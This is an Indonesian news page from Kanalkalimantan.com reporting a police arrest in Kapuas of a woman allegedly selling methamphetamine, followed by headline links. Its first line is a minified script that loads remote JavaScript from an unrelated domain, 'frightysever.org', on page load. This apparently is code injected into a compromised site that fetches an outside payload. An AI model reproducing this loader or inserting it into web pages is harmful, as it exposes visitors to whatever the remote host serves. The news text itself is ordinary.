(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Seorang ibu rumah tangga (IRT) berinisial IK (38) ditangkap Satresnarkoba (Satuan Reserse Narkoba) Polres Kapuas didug menjual narkoba jenis sabu.
IK ditangkap di rumahnya di Desa Kota Baru, Kecamatan Kapuas Tengah, Kabupaten Kapuas, Senin (4/4/2022).
Kapolres Kapuas AKBP Qori Wicaksono SIK melalui Kasatresnarkoba Polres Kapuas Iptu Subandi SH MM mengatakan, dari tangan IK anggota Satresnarkoba berhasil mengamankan barang bukti berupa 14 buah plastik klip berisi kristal bening diduga Narkotika jenis sabu dengan berat 8,25 gram, 1 buah kotak merk lenyes warna hitam, 1 buah kotak doraemon warna biru, 1 buah timbangan digital warna hitam berlogo Yamaha, 1 buah sendok sabu dari sedotan plastik, serta uang tunai Rp 650 ribu.
Untuk kepentingan pemeriksaan lebih lanjut, saat ini tersangka perempuan berusia 38 tahun berikut barang bukti diamankan ke Mapolres Kapuas.
Baca juga: Ketika Gus Dur Tawarkan Tarawih Dua Versi, Soeharto Pilih yang Ada ‘Diskon’
Kasat Narkoba Polres Kapuas mengajak kerjasama semua pihak dalam mengungkap peredaran narkoba di Kabupaten Kapuas.
“Kita berharap masyarakat bisa menginformasikan terhadap peredaran barang yang dilarang berdasarkan hukum, dan kami menjamin identitas pelapor akan dirahasiakan,” ujarnya.
Untuk mempertanggungjawabkan perbuatannya, IK dijerat dengan Pasal 114 ayat (2) atau Pasal 112 ayat (2) UU RI Nomor 35 Tahun 2009 tentang narkotika, dengan ancaman hukuman penjara paling singkat selama 5 tahun dan paling lama 20 tahun. (Kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
This website uses cookies.